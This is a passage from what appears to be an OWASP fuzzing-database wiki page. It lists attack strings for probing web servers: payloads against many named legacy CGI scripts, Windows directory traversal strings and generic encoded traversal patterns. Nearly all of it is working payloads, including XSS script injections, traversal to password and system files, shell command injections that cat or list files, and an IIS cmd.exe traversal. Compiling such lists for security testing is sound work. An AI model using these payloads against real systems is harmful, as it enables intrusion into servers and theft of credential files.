- A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Windows Directory Traversal (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Windows Directory Traversal (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br 